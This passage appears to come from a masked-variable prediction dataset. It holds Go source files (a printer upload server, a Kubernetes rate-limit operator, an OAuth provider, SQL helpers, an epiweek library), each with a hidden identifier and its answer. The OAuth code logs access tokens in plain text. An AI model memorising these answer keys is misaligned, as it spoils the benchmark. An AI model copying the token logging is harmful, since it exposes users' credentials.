newMavenDriver() Driver { c := maven.Comparer{} return Aggregate(vulnerability.Maven, NewAdvisory(vulnerability.Maven, c), ghsa.NewAdvisory(ecosystem.Maven, c)) } ",uniqVulnIDMap 673,"package client import ( ""fmt"" ""net/http"" ""os"" ""strconv"" ""strings"" ""syscall"" ) // ListDirectory is the Payload value from the Printer to List Directory Values to avoid filename collisions const ListDirectory = ""ListDir"" // MakeDir is the Payload value from the Printer to Make a Directory if it doesn't exit const MakeDir = ""MakeDir"" // PutFile is the Payload value from the Printer to upload a file const PutFile = ""PutFile"" // DeleteFile is the Payload value from the Printer to Delete a file normally a *LCK file const DeleteFile = ""DeleteFile"" // RemoveDir is the Payload value from the Printer to Delete a directory const RemoveDir = ""RemoveDir"" // DestDir is the Payload value from the Printer for the files dir on the filesystem const DestDir = ""destDir"" // DestName is the Payload value from the Printer for the filename on the filesystem const DestName = ""destName"" // Operation is the Payload field from the Printer for the the operation to happen, ListDir, MakeDir etc const Operation = ""theOperation"" // Sendfile is the Payload field from the Printer for the the file itself const Sendfile = ""sendfile"" // XRXNOTFOUND is the not found error message const XRXNOTFOUND = ""XRXNOTFOUND"" // XRXERROR is the default error message const XRXERROR = ""XRXERROR"" // XRXDIREXISTS is the directory exists already const XRXDIREXISTS = ""XRXDIREXISTS"" // XRXBADNAME is the filename is bad due to to FS constraints const XRXBADNAME = ""XRXBADNAME"" // XeroxApi Interface for all Printer to Server Interactions type XeroxApi interface { ListDirectory(directory string) (string, error) CleanPath(directory string) string DeleteDir(directory string) error PutFile(r *http.Request, directory string) ([]byte, error) MakeDirectory(directory string) error } // NewClient generates a new generic client for uploading func NewClient() (XeroxApi, error) { _, found := os.LookupEnv(""google"") var x XeroxApi if found { gc, err := NewGoogleClient() if err != nil { return nil, err } x = gc } else { pgId, err := getEnvVar(""PGID"") if err != nil { return nil, err } userId, err := strconv.Atoi(pgId) if err != nil { return nil, err } gID, err := getEnvVar(""GID"") if err != nil { return nil, err } groupIp, err := strconv.Atoi(gID) if err != nil { return nil, err } x = NewFileSystemClient(userId, groupIp) } return x, nil } func getEnvVar(name string) (string, error) { v, found := os.LookupEnv(name) if !found { return """", fmt.Errorf(""%s must be set"", name) } if len(v) == 0 { return """", fmt.Errorf(""%s must not be empty"", name) } return v, nil } // HandleRequests takes the XeroxApi and handles all the List, Del, Remove, Put actions func HandleRequests(x XeroxApi) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) r.ParseMultipartForm(32 << 20) directory := x.CleanPath(strings.Join(r.PostForm[DestDir], """")) operation := r.PostForm[Operation] fmt.Println(fmt.Sprintf(""Endpoint Hit: %s"", operation)) switch strings.Join(operation, """") { case ListDirectory: listDirectoryAction(x, directory, w) case MakeDir: makeDirectoryAction(x, directory, w) case PutFile: message, err := x.PutFile(r, directory) if err != nil { w.Write([]byte(message)) } case DeleteFile: deleteFileAction(x, directory, w, r) case RemoveDir: removeDirAction(x, directory, w) } }) } // listDirectoryAction handle the list directory command func listDirectoryAction(x XeroxApi, directory string, w http.ResponseWriter) { items, err := x.ListDirectory(directory) if err != nil { //log.Println(err.Error()) w.Write([]byte(XRXERROR)) } else { w.Write([]byte(items)) } } // makeDirectoryAction handle the make directory command func makeDirectoryAction(x XeroxApi, directory string, w http.ResponseWriter) { err := x.MakeDirectory(directory) if err != nil { // XRXBADNAME if the name is empty. // XRXDIREXISTS if the directory already exists. // XRXERROR if the directory cannot be created. switch err.(*os.PathError).Err { case syscall.EEXIST: w.Write([]byte(XRXDIREXISTS)) case syscall.ENOENT: w.Write([]byte(XRXBADNAME)) default: w.Write([]byte(XRXERROR)) } } } // deleteFileAction handle the delete file from FS func deleteFileAction(x XeroxApi, directory string, w http.ResponseWriter, r *http.Request) { // XRXNOTFOUND if the requested file isn't found. // XRXERROR the file cannot be deleted. [MASK] := r.PostForm[DestName] filename := strings.Join( [MASK] , """") if strings.Join( [MASK] , """") != """" { directory = fmt.Sprintf(""%s%s"", directory, filename) } err := x.DeleteDir(directory) if err != nil { switch err.(*os.PathError).Err { case syscall.ENOENT: w.Write([]byte(XRXNOTFOUND)) default: w.Write([]byte(XRXERROR)) } } } // removeDirAction handle the delete folder from FS func removeDirAction(x XeroxApi, directory string, w http.ResponseWriter) { // XRXBADNAME if the requested file isn't of the correct type or the name is empty. // XRXNOTFOUND if the requested file isn't found. // XRXERROR the file cannot be deleted. err := x.DeleteDir(directory) if err != nil { switch err.(*os.PathError).Err { case syscall.ENOENT: w.Write([]byte(XRXNOTFOUND)) default: w.Write([]byte(XRXERROR)) } } } ",destinationName 674,"package controllers import ( ""context"" ""encoding/json"" ""reflect"" ""regexp"" ""strconv"" ""time"" ""github.com/ghodss/yaml"" networkingv1alpha1 ""github.com/softonic/rate-limit-operator/api/v1alpha1"" v1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/types"" ""k8s.io/klog"" ""sigs.k8s.io/controller-runtime/pkg/client"" clientIstio ""istio.io/client-go/pkg/apis/networking/v1alpha3"" ) func (r *RateLimitReconciler) applyEnvoyFilter(desired *clientIstio.EnvoyFilter, found *clientIstio.EnvoyFilter, nameEnvoyFilter string, controllerNamespace string) error { err := r.Get(context.TODO(), types.NamespacedName{ Namespace: controllerNamespace, Name: nameEnvoyFilter, }, found) if err != nil { klog.Infof(""Cannot Found EnvoyFilter %s before creating. %v"", found.Name, err) err = r.Create(context.TODO(), desired) if err != nil { klog.Infof(""Cannot Create EnvoyFilter %s. Error %v"", desired.Name, err) return err } klog.Infof(""Creating %s..."", desired.Name) } else { applyOpts := []client.PatchOption{client.ForceOwnership, client.FieldOwner(""rate-limit-controller"")} err = r.Patch(context.TODO(), desired, client.Apply, applyOpts...) if err != nil { klog.Infof(""Cannot Patch EnvoyFilter %s. Error %v"", desired.Name, err) return err } return nil } return nil } func (r *RateLimitReconciler) CreateOrUpdateConfigMap(rateLimitInstance *networkingv1alpha1.RateLimit, controllerNamespace string, baseName string, deploymentName string) error { var err error cm, err := r.generateConfigMap(rateLimitInstance, controllerNamespace, baseName) if err != nil { klog.Infof(""Cannot generate %v, Error: %v"", cm, err) return err } found, err := r.getConfigMap(baseName, controllerNamespace) if err != nil { err = r.Create(context.TODO(), &cm) if err != nil { //return ctrl.Result{}, client.IgnoreNotFound(err) klog.Infof(""Cannot create %v, Error: %v"", cm, err) } } else if !reflect.DeepEqual(cm, found) { applyOpts := []client.PatchOption{client.ForceOwnership, client.FieldOwner(""rate-limit-controller"")} klog.Infof(""the 2 resources are not the same, we should patch the deployment"") err = r.Patch(context.TODO(), &cm, client.Apply, applyOpts...) if err != nil { klog.Infof(""Cannot patch cm. Error: %v"", err) return err } r.mutex.Lock() defer r.mutex.Unlock() r.DeploymentRL, err = r.getDeployment(controllerNamespace, deploymentName) if err != nil { klog.Infof(""Cannot Found Deployment %s. Error %v"", deploymentName, err) return err } else { klog.Infof(""This is the Deployment %s found in the patch operation. Annotations: %v"", deploymentName, r.DeploymentRL.Spec.Template.Annotations) } epoch := strconv.FormatInt(time.Now().Unix(), 10) r.DeploymentRL.Spec.Template.Annotations[""date""] = epoch err = r.Update(context.TODO(), &r.DeploymentRL) if err != nil { klog.Infof(""Cannot Update Deployment %s in patch operation. Error %v"", r.DeploymentRL.Name, err) return err } else { klog.Infof(""Deployment updated inside patch loop."") } } return nil } func (r *RateLimitReconciler) generateConfigMap(rateLimitInstance *networkingv1alpha1.RateLimit, controllerNamespace string, name string) (v1.ConfigMap, error) { [MASK] := make(map[string]string) var err error var output []byte descriptorOutput := networkingv1alpha1.OutputConfig{} descriptorOutput.DescriptorsParent = make([]networkingv1alpha1.DescriptorsParent, len(rateLimitInstance.Spec.Rate)) descriptorOutput.Domain = name // get Destination Cluster nameVirtualService := rateLimitInstance.Spec.TargetRef.Name namespace := rateLimitInstance.Spec.TargetRef.Namespace var value string if rateLimitInstance.Spec.DestinationCluster != """" { value = rateLimitInstance.Spec.DestinationCluster } else { value, err = r.getDestinationClusterFromVirtualService(namespace, nameVirtualService) if err != nil { klog.Infof(""Cannot generate configmap as we cannot find a host destination cluster"") return v1.ConfigMap{}, err } } for k, dimension := range rateLimitInstance.Spec.Rate { if dimension.Dimensions[0].RequestHeader.DescriptorKey == """" { descriptorOutput.DescriptorsParent[k].Key = ""header_match"" descriptorOutput.DescriptorsParent[k].Value = dimension.Dimensions[0].HeaderValueMatch.DescriptorValue } else { descriptorOutput.DescriptorsParent[k].Key = dimension.Dimensions[0].RequestHeader.DescriptorKey + ""_"" + dimension.Unit } descriptor := networkingv1alpha1.Descriptors{ Key: ""destination_cluster"", RateLimit: networkingv1alpha1.RateLimitPerDescriptor{ RequestsPerUnit: dimension.RequestPerUnit, Unit: dimension.Unit, }, Value: value, } descriptorOutput.DescriptorsParent[k].Descriptors = append(descriptorOutput.DescriptorsParent[k].Descriptors, descriptor) } output, _ = json.Marshal(descriptorOutput) y, _ := yaml.JSONToYAML(output) fileName := name + "".yaml"" [MASK] [fileName] = string(y) configMap := v1.ConfigMap{ TypeMeta: metav1.TypeMeta{ Kind: ""ConfigMap"", APIVersion: ""v1"", }, ObjectMeta: metav1.ObjectMeta{ Name: name, Namespace: controllerNamespace, }, Data: [MASK] , } return configMap, nil } func (r *RateLimitReconciler) getDestinationClusterFromVirtualService(namespace string, nameVirtualService string) (string, error) { virtualService, err := r.getVirtualService(namespace, nameVirtualService) if err != nil { klog.Infof(""Virtualservice %s does not exists. Error: %s"", nameVirtualService, err) return """", err } else { klog.Infof(""found the %s"", nameVirtualService) } subset := """" destination := """" for k, routes := range virtualService.Spec.Http { if routes.Route[k].Destination.Host != """" { destination = routes.Route[k].Destination.Host subset = routes.Route[k].Destination.Subset break } } // look for the port // get the name of the service from destination a := regexp.MustCompile(`\.`) serviceName := a.Split(destination, -1)[0] service := &v1.Service{} err = r.Get(context.TODO(), client.ObjectKey{ Namespace: namespace, Name: serviceName, }, service) if err != nil { klog.Infof(""Cannot Get Service %s. Error %v"", serviceName, err) return ""not found"", err } var port int32 for _, p := range service.Spec.Ports { regex := regexp.MustCompile(`http`) if res := regex.MatchString(p.Name); res { port = p.Port } else { port = 80 } } if destination == """" { destinationCluster := ""outbound|80||"" + serviceName + ""."" + namespace + "".svc.cluster.local"" klog.Infof(""Desstination could not be resolved"") return destinationCluster, nil } //outbound|80|prod|server.digitaltrends-v1.svc.cluster.local destinationCluster := ""outbound|"" + strconv.FormatInt(int64(port), 10) + ""|"" + subset + ""|"" + destination return destinationCluster, nil } func (r *RateLimitReconciler) UpdateDeployment(volumeProjectedSources []v1.VolumeProjection, volumes []v1.Volume, controllerNamespace string, deploymentName string) error { var err error r.mutex.Lock() defer r.mutex.Unlock() time.Sleep(4 * time.Second) r.DeploymentRL, err = r.getDeployment(controllerNamespace, deploymentName) if err != nil { klog.Infof(""Cannot Found Deployment %s. Error %v"", deploymentName, err) return err } else { klog.Infof(""This is the Deployment %s found later on last function. Annotations: %v"", deploymentName, r.DeploymentRL.Spec.Template.Annotations) } err = r.addVolumeFromDeployment(volumeProjectedSources, volumes) if err != nil { klog.Infof(""Cannot add VolumeSource from deploy %v. Error %v"", r.DeploymentRL, err) return err } err = r.Update(context.TODO(), &r.DeploymentRL) if err != nil { err = r.Update(context.TODO(), &r.DeploymentRL) if err != nil { klog.Infof(""Cannot Update Deployment %s. Error %v"", r.DeploymentRL.Name, err) return err } } return nil } func (r *RateLimitReconciler) addVolumeFromDeployment(volumeProjectedSources []v1.VolumeProjection, volumes []v1.Volume) error { var volumeProjectedSourcesToApply []v1.VolumeProjection defaultVolumeMount := []v1.VolumeMount{ { Name: ""commonconfig-volume"", MountPath: ""/data/ratelimit/config"", }, } //if len(r.DeploymentRL.Spec.Template.Spec.Volumes) == 0 { // r.DeploymentRL.Spec.Template.Spec.Volumes = append(r.DeploymentRL.Spec.Template.Spec.Volumes, volumes...) // r.DeploymentRL.Spec.Template.Spec.Containers[0].VolumeMounts = defaultVolumeMount // return nil //} count := 0 exists := true for _, v := range r.DeploymentRL.Spec.Template.Spec.Volumes { if v.Name == ""commonconfig-volume"" { for _, sourceToApply := range volumeProjectedSources { for _, sourceAlreadyExists := range v.VolumeSource.Projected.Sources { if sourceToApply.ConfigMap.Name == sourceAlreadyExists.ConfigMap.Name { // this configmap is already in the volume projected sources, not need to include exists = true break } else { // there is no coincidence exists = false } } // If the sourcetoApply does not exists in the already mounted sources, append to the slice volumeProjectedSourcesToApply if !exists { volumeProjectedSourcesToApply = append(volumeProjectedSourcesToApply, sourceToApply) } } // append to the projected sources slice that will be update in the deployment v.VolumeSource.Projected.Sources = append(v.VolumeSource.Projected.Sources, volumeProjectedSourcesToApply...) } else { count++ //deploy.Spec.Template.Spec.Volumes = append(deploy.Spec.Template.Spec.Volumes, volumes...) } } if count > 0 { r.DeploymentRL.Spec.Template.Spec.Volumes = append(r.DeploymentRL.Spec.Template.Spec.Volumes, volumes...) r.DeploymentRL.Spec.Template.Spec.Containers[0].VolumeMounts = append(r.DeploymentRL.Spec.Template.Spec.Containers[0].VolumeMounts, defaultVolumeMount...) } return nil } ",configMapData 675,"package main import ( ""encoding/csv"" ""fmt"" ""log"" ""os"" ""github.com/xuri/excelize/v2"" ) func main() { codes := make(map[string][]string) [MASK] := 1 f, err := excelize.OpenFile(""../industry-codes/all-industry-codes.xlsx"") // f, err := excelize.OpenFile(""../csu-codes/all-csu-codes.xlsx"") if err != nil { log.Fatalf(""Error opening file: %v"", err) } defer f.Close() sheets := f.GetSheetList() for _, sheet := range sheets { rows, err := f.GetRows(sheet) if err != nil { log.Printf(""Error reading rows in sheet %s: %v"", sheet, err) continue } for i := 1; i < len(rows); i++ { row := rows[i] if len(row) > [MASK] { codes[row[ [MASK] ]] = append(codes[row[ [MASK] ]], sheet) } } } // delete(codes, """") // delete(codes, ""03-24-25"") // delete(codes, ""Masters Project"") // delete(codes, ""CS152 - Modules."") // for key, value := range codes { // fmt.Printf(""%s: %d\n"", key, len(value)) // } file, err := os.Create(""../industry-codes/all-industry-codes.csv"") // file, err := os.Create(""../csu-codes/all-csu-codes.csv"") if err != nil { log.Fatalf(""Error creating file: %v"", err) } defer file.Close() writer := csv.NewWriter(file) writer.Comma = '|' defer writer.Flush() for key, values := range codes { line := fmt.Sprintf(""%s||[%s]"", key, joinArray(values)) if _, err := file.WriteString(line + ""\n""); err != nil { log.Fatalf(""Error writing row to CSV: %v"", err) } } fmt.Println(""CSV file 'output.csv' has been created successfully!"") } func joinArray(arr []string) string { return fmt.Sprintf(""%s"", formatArray(arr)) } // Format array values into a comma-separated string func formatArray(arr []string) string { result := """" for i, v := range arr { if i > 0 { result += "","" } result += v } return result } ",columnIndex 676,"package onepower import ( ""context"" ""encoding/json"" ""github.com/mitchellh/mapstructure"" ""io/ioutil"" ""k8s.io/klog"" ""kubesphere.io/kubesphere/pkg/apiserver/authentication/identityprovider"" ""kubesphere.io/kubesphere/pkg/apiserver/authentication/identityprovider/oauth2"" ""kubesphere.io/kubesphere/pkg/apiserver/authentication/oauth"" ""net/http"" ) const ( //userInfoURL = ""http://gzlwy.uat.internal.virtueit.net/v3/gateway/auth/v1.0.0/oauth/userInfo"" //authURL = ""http://gzlwy.uat.internal.virtueit.net/v1/home/login"" //tokenURL = ""http://gzlwy.uat.internal.virtueit.net/v3/gateway/auth/v1.0.0/oauth/token"" //userInfoURL = ""https://onepower.ft.industry-cmcc.com/v3/gateway/auth/v1.0.0/oauth/userInfo"" //authURL = ""https://onepower.ft.industry-cmcc.com/login"" //tokenURL = ""https://onepower.ft.industry-cmcc.com/v3/gateway/auth/v1.0.0/oauth/token"" userInfoURL = ""http://coreop.ftzq.internal.virtueit.net:81/v3/gateway/auth/v1.0.0/oauth/userInfo"" authURL = ""http://onepower.ftzq.internal.virtueit.net:81/v1/zqhome/login"" tokenURL = ""http://coreop.ftzq.internal.virtueit.net:81/v3/gateway/auth/v1.0.0/oauth/token"" ) var opTokenMap = make(map[string]string) func init() { identityprovider.RegisterOAuthProvider(&onepowerProviderFactory{}) } type onepower struct { // ClientID is the application's ID. ClientID string `json:""clientID"" yaml:""clientID""` // ClientSecret is the application's secret. ClientSecret string `json:""-"" yaml:""clientSecret""` // Endpoint contains the resource server's token endpoint // URLs. These are constants specific to each server and are // often available via site-specific packages, such as // google.Endpoint or github.endpoint. Endpoint endpoint `json:""endpoint"" yaml:""endpoint""` // RedirectURL is the URL to redirect users going through // the OAuth flow, after the resource owner's URLs. RedirectURL string `json:""redirectURL"" yaml:""redirectURL""` // Used to turn off TLS certificate checks InsecureSkipVerify bool `json:""insecureSkipVerify"" yaml:""insecureSkipVerify""` // Scope specifies optional requested permissions. Scopes []string `json:""scopes"" yaml:""scopes""` Config *oauth2.Config `json:""-"" yaml:""-""` } // endpoint represents an OAuth 2.0 provider's authorization and token // endpoint URLs. type endpoint struct { AuthURL string `json:""authURL"" yaml:""authURL""` TokenURL string `json:""tokenURL"" yaml:""tokenURL""` UserInfoURL string `json:""userInfoURL"" yaml:""userInfoURL""` } type onepowerIdentity struct { Code string `json:""code""` Message string `json:""message""` Data onepowerIdentityData `json:""data""` } type onepowerIdentityData struct { AccountID string `json:""accountName""` Nickname string `json:""userName,omitempty""` Email string `json:""email,omitempty""` Mobile string `json:""tel,omitempty""` //onepower中的id OnepowerID string `json:""id""` //租户ID TenantId string `json:""tenantId""` OriginalUserId string `json:""originalUserId""` OriginalTenantId string `json:""originalTenantId""` OriginalDeptId string `json:""originalDeptId""` OpAccessToken string `json:""opAccessToken""` } type onepowerProviderFactory struct { } func (o *onepowerProviderFactory) Type() string { return ""OnepowerIdentityProvider"" } func (o *onepowerProviderFactory) Create(options oauth.DynamicOptions) (identityprovider.OAuthProvider, error) { var op onepower if err := mapstructure.Decode(options, &op); err != nil { return nil, err } if op.Endpoint.AuthURL == """" { op.Endpoint.AuthURL = authURL } if op.Endpoint.TokenURL == """" { op.Endpoint.TokenURL = tokenURL } if op.Endpoint.UserInfoURL == """" { op.Endpoint.UserInfoURL = userInfoURL } // fixed options options[""endpoint""] = oauth.DynamicOptions{ ""authURL"": op.Endpoint.AuthURL, ""tokenURL"": op.Endpoint.TokenURL, ""userInfoURL"": op.Endpoint.UserInfoURL, } op.Config = &oauth2.Config{ ClientID: op.ClientID, ClientSecret: op.ClientSecret, Endpoint: oauth2.Endpoint{ AuthURL: op.Endpoint.AuthURL, TokenURL: op.Endpoint.TokenURL, }, RedirectURL: op.RedirectURL, Scopes: op.Scopes, } return &op, nil } func (o onepowerIdentity) GetUserID() string { return o.Data.OriginalUserId } func (o onepowerIdentity) GetOpuid() string { return o.Data.OriginalUserId } func (o onepowerIdentity) GetUsername() string { if o.Data.AccountID != """" { return o.Data.AccountID } else { return o.Data.Mobile } } func (o onepowerIdentity) GetDeptid() string { return o.Data.OriginalDeptId } func (o onepowerIdentity) GetCustomerId() string { return o.Data.OriginalUserId } func (o onepowerIdentity) GetTenantId() string { return o.Data.OriginalTenantId } func (o onepowerIdentity) GetEmail() string { return o.Data.Email } func (o onepowerIdentity) GetOpAccessToken() string { return o.Data.OpAccessToken } func GetOpToken() string { return opTokenMap[""accessOpToken""] } func (o *onepower) IdentityExchangeCallback(req *http.Request) (identityprovider.Identity, error) { code := req.URL.Query().Get(""code"") ctx := context.TODO() //获取token token, err := o.Config.Exchange(ctx, code) if err != nil { return nil, err } klog.V(0).Infof(""===========>登录跳转成功开始<========="") //存储token值 opTokenMap[""accessOpToken""] = token.AccessToken klog.V(0).Infof(""OP单点登录跳转成功,token: %s"", token.AccessToken) [MASK] , err := oauth2.NewClient(ctx, oauth2.StaticTokenSource(token)).Get(o.Endpoint.UserInfoURL + ""?token="" + token.AccessToken) if err != nil { return nil, err } data, err := ioutil.ReadAll( [MASK] .Body) if err != nil { return nil, err } defer [MASK] .Body.Close() var onepowerIdentity onepowerIdentity klog.V(0).Infof(""=====请求用户信息返回的data数据为:"", string(data), ""==========="") err = json.Unmarshal(data, &onepowerIdentity) onepowerIdentity.Data.OpAccessToken = token.AccessToken klog.V(0).Infof(""=====解析后onepowerIdentity的数据为:"", onepowerIdentity, ""==========="") klog.V(0).Infof(""=====customerId为:"", onepowerIdentity.Data.OriginalUserId, ""==========="") klog.V(0).Infof(""=====tenantId为:"", onepowerIdentity.Data.OriginalTenantId, ""==========="") klog.V(0).Infof(""=====deptId为:"", onepowerIdentity.Data.OriginalDeptId, ""==========="") opTokenMap[""customerId""] = onepowerIdentity.Data.OriginalUserId opTokenMap[""tenantId""] = onepowerIdentity.Data.OriginalTenantId opTokenMap[""deptId""] = onepowerIdentity.Data.OriginalDeptId if err != nil { return nil, err } return onepowerIdentity, nil } ",userResp 677,"package epiweek import ( ""fmt"" ""time"" ) const ( secondsInDay = 24 * 60 * 60 daysInWeek = 7 ) type epiType int const ( epiweek epiType = iota isoweek ) // Epiweek is initialized with Time and will allow easy operations for // calculating CDC Epi weeks type Epiweek struct { time time.Time et epiType } // NewEpiweek returns a Epiweek struct based upon CDC definition of an epi week // with a week beginning on Sunday and ending on Saturday func NewEpiweek(t time.Time) (e Epiweek) { var days time.Duration days = time.Duration(myTime(t).daysFromDay(time.Wednesday)) // Only want granularity of a day; discard hours, minutes, seconds from // initialized value t = time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, time.UTC) e = Epiweek{ time: t.Add(days * time.Second * secondsInDay), et: epiweek, } return } // NewIsoWeek reterns an Epiweek struct based upon ISO standards with a week // beginning on Monday and ending on Sunday func NewIsoWeek(t time.Time) (e Epiweek) { var days time.Duration days = time.Duration(myTime(t).daysFromDay(time.Thursday)) // Only want granularity of a day; discard hours, minutes, seconds from // initialized value t = time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, time.UTC) if days == 4 { days = -3 } e = Epiweek{ time: t.Add(days * time.Second * secondsInDay), et: isoweek, } return } // FirstDateOfPeriod Returns the date of the first day of the epi week. Sunday // for CDC Epiweeks and Monday for ISO weeks func (e Epiweek) FirstDateOfPeriod() ( [MASK] time.Time) { // Our factory functions (NewEpiweek and NewIsoWeek) put the date in our // struct at the middle point of the week. We only need to subtract 3 days // and return that time [MASK] = e.time.Add(-3 * time.Second * secondsInDay) return } // Epiweek return the year and week number in which Time occurs. Weeks range // from 1 to 53. Jan 1 to Jan 3 of the year might belong to the prior year. // Likewise, Dec 29 to Dec 31 might belong to the next year. func (e Epiweek) Epiweek() (year, week int) { // According to the rule that first calendar week in a year is the week // that has at least 4 days in that week. (Wednesday for CDC, Thursday for // ISO) The day of the week logic was handled in the New function year = e.time.Year() week = e.time.YearDay()/7 + 1 return } // Add will add the week number of weeks to the e Epiweek func (e Epiweek) Add(week int) (epiweek Epiweek) { epiweek.time = e.time.AddDate(0, 0, daysInWeek*week) return } func (e Epiweek) String() string { year, week := e.Epiweek() return fmt.Sprintf(""Year [%d], Week [%d]"", year, week) } ",firstDateOfPeriod 678,"package main import ( ""database/sql"" ""errors"" ""fmt"" _ ""github.com/lib/pq"" ""github.com/satori/go.uuid"" ""log"" ""net/http"" //""os"" ""time"" ) var db *sql.DB func initSQLDatabase(dbConnStr string) { var err error db, err = sql.Open(""postgres"", dbConnStr) if err != nil { fmt.Println(err) log.Fatal(err) } if err = db.Ping(); err != nil { fmt.Println(err) log.Fatal(err) } fmt.Println(""Connected to SQL database."") } type Route struct { Name string Method string Pattern string HandlerFunc http.HandlerFunc } type Routes []Route type Content struct { ID uuid.UUID `json:""id, omitempty""` AppID uuid.UUID `json:""app-id, omitempty""` Name string `json:""name, omitempty""` Description string `json:""description, omitempty""` Error error `json:""error, omitempty""` } type Entry struct { ID uuid.UUID `json:""-""` ContentID uuid.UUID `json:""id""` Locale string `json:""locale""` Timestamp time.Time `json:""timestamp""` Data string `json:""data""` } type Err struct { Code int `json:""code""` Text string `json:""text""` } type ID struct { ID string `json:""id""` } func NewestEntryForContentID(contentID string) (*Entry, error) { var e Entry stmt, err := db.Prepare(""select distinct entry.id, entry.content_id, locale.code as locale, entry.timestamp, entry.data from epic.entry inner join epic.locale on entry.locale_id=locale.id where entry.content_id = $1 order by entry.timestamp desc"") if err != nil { return nil, err } err = stmt.QueryRow(contentID).Scan(&e.ID, &e.ContentID, &e.Locale, &e.Timestamp, &e.Data) if err != nil { return nil, err } return &e, nil } func CreateContentReservation(c *Content) error { c.ID = uuid.NewV4() timestamp := time.Now() e_stmt, err := db.Prepare(""insert into epic.content (id, application_id, name, description, timestamp) values ($1, $2, $3, $4, $5)"") if err != nil { return err } defer e_stmt.Close() _, err = e_stmt.Exec(c.ID.String(), c.AppID.String(), c.Name, c.Description, timestamp) if err != nil { return err } return nil } func CreateEntryForContentID(e *Entry) error { locID, err := localeID(e.Locale) if err != nil { return err } e_stmt, err := db.Prepare(""insert into epic.entry (id, content_id, locale_id, timestamp, data) values ($1, $2, $3, $4, $5)"") if err != nil { return err } defer e_stmt.Close() _, err = e_stmt.Exec(e.ID.String(), e.ContentID.String(), locID.String(), e.Timestamp, e.Data) if err != nil { return err } return nil } func AllContentForTag(Tag string, AppID string) ([]Entry, error) { stmt, err := db.Prepare(""select entry.id, entry.content_id, locale.code as locale, entry.timestamp, entry.data from epic.entry inner join epic.locale on entry.locale_id=locale.id inner join epic.content on entry.content_id=content.id inner join epic.content_tag on content.id=content_tag.content_id inner join epic.tag on tag.id=content_tag.tag_id where tag.value=$1 and tag.application_id=$2"") if err != nil { return nil, err } defer stmt.Close() rows, err := stmt.Query(Tag, AppID) if err != nil { return nil, err } defer rows.Close() entries := make([]Entry, 0) for rows.Next() { e := Entry{} err := rows.Scan(&e.ID, &e.ContentID, &e.Locale, &e.Timestamp, &e.Data) if err != nil { return nil, err } entries = append(entries, e) } if err = rows.Err(); err != nil { return nil, err } return entries, nil } func NewestLocalizedContentEntriesForTag(Tag string, Locale string, AppID string) ([]Entry, error) { sql := ` with c as ( select distinct content.id from epic.content inner join epic.content_tag on content.id=content_tag.content_id inner join epic.tag on tag.id=content_tag.tag_id where tag.value = $1 and content_tag.application_id = $3 ) select id, content_id, locale, timestamp, data from ( select entry.id, entry.content_id, locale.code as locale, entry.timestamp, entry.data, rank() over (partition by entry.content_id order by entry.timestamp desc ) as rank from epic.entry inner join epic.locale on entry.locale_id=locale.id inner join c on entry.content_id=c.id group by c.id, entry.timestamp, entry.id, locale.code order by c.id, entry.timestamp, entry.id, locale ) e where e.rank = 1 and e.locale = $2 ` stmt, err := db.Prepare(sql) if err != nil { return nil, err } defer stmt.Close() rows, err := stmt.Query(Tag, Locale, AppID) if err != nil { return nil, err } defer rows.Close() entries := make([]Entry, 0) for rows.Next() { e := Entry{} err := rows.Scan(&e.ID, &e.ContentID, &e.Locale, &e.Timestamp, &e.Data) if err != nil { return nil, err } entries = append(entries, e) } if err = rows.Err(); err != nil { return nil, err } return entries, nil } func CreateTag(tag string, appID string) error { e_stmt, err := db.Prepare(""insert into epic.tag (id, application_id, value) values ($1, $2, $3)"") if err != nil { return err } defer e_stmt.Close() if err != nil { return err } _, err = e_stmt.Exec(uuid.NewV4().String(), appID, tag) if err != nil { return err } return nil } func TagContent(contentID string, tag string, AppID string) error { stmt, err := db.Prepare(""select id from epic.tag where value = $1"") if err != nil { return errors.New(""Prepare select from tag | "" + err.Error()) } var tagID string err = stmt.QueryRow(tag).Scan(&tagID) if err != nil { return errors.New(""QueryRow / Scan for tag | "" + err.Error()) } stmt, err = db.Prepare(""insert into epic.content_tag (content_id, tag_id, application_id) values ($1, $2, $3)"") if err != nil { return errors.New(""Prepare insert into content_tag | "" + err.Error()) } defer stmt.Close() _, err = stmt.Exec(contentID, tagID, AppID) if err != nil { return errors.New(""Exec insert into content_tag | "" + err.Error()) } return nil } /* UTILITIES */ func AppID( [MASK] string) (uuid.UUID, error) { stmt, err := db.Prepare(""select id from epic.application where code = $1"") if err != nil { return uuid.Nil, err } var id uuid.UUID err = stmt.QueryRow( [MASK] ).Scan(&id) if err != nil { return uuid.Nil, err } return id, nil } func localeID(localeCode string) (uuid.UUID, error) { stmt, err := db.Prepare(""select locale.id from epic.locale where locale.code = $1"") if err != nil { return uuid.Nil, err } var id uuid.UUID err = stmt.QueryRow(localeCode).Scan(&id) if err != nil { return uuid.Nil, err } return id, nil } // To be implemented ASAP. func tagUnique(tag string) error { return nil } // DOES THIS NEED UPDATING? func getLetsEncryptCache(app string) (string, error) { var appID string stmt, err := db.Prepare(""select application.id from epic.application where application.code = $1"") if err != nil { return """", err } defer stmt.Close() err = stmt.QueryRow(app).Scan(&appID) if err != nil { return """", err } var data string stmt, err = db.Prepare(""select value from epic.config where name='letsencrypt' and application_id=$1"") if err != nil { return """", err } defer stmt.Close() err = stmt.QueryRow(appID).Scan(&data) if err != nil { return """", err } return data, nil } // DOES THIS NEED UPDATING? func updateLetsEncryptCache(data string, app string) error { var appID string stmt, err := db.Prepare(""select application.id from epic.application where application.code = $1"") if err != nil { return err } defer stmt.Close() err = stmt.QueryRow(app).Scan(&appID) if err != nil { return err } stmt, err = db.Prepare(""update epic.config set value=$1 where name='letsencrypt' and application_id=$2"") if err != nil { return err } defer stmt.Close() _, err = stmt.Exec(data, appID) if err != nil { return err } return nil } func now() string { return time.Now().Format(time.RFC3339Nano) } ",appCode 679,"package main import ( ""archive/tar"" ""bufio"" ""fmt"" ""io"" ""io/ioutil"" ""log"" ""os"" ""path/filepath"" ""strings"" ""github.com/google/go-containerregistry/pkg/authn"" ""github.com/google/go-containerregistry/pkg/name"" ""github.com/google/go-containerregistry/pkg/v1/remote"" ) var LicenseNames = []string{ ""LICENSE"", ""LICENSE.code"", ""LICENSE.md"", ""LICENSE.txt"", ""COPYING"", ""copyright"", } var CommonLicensesLocation = 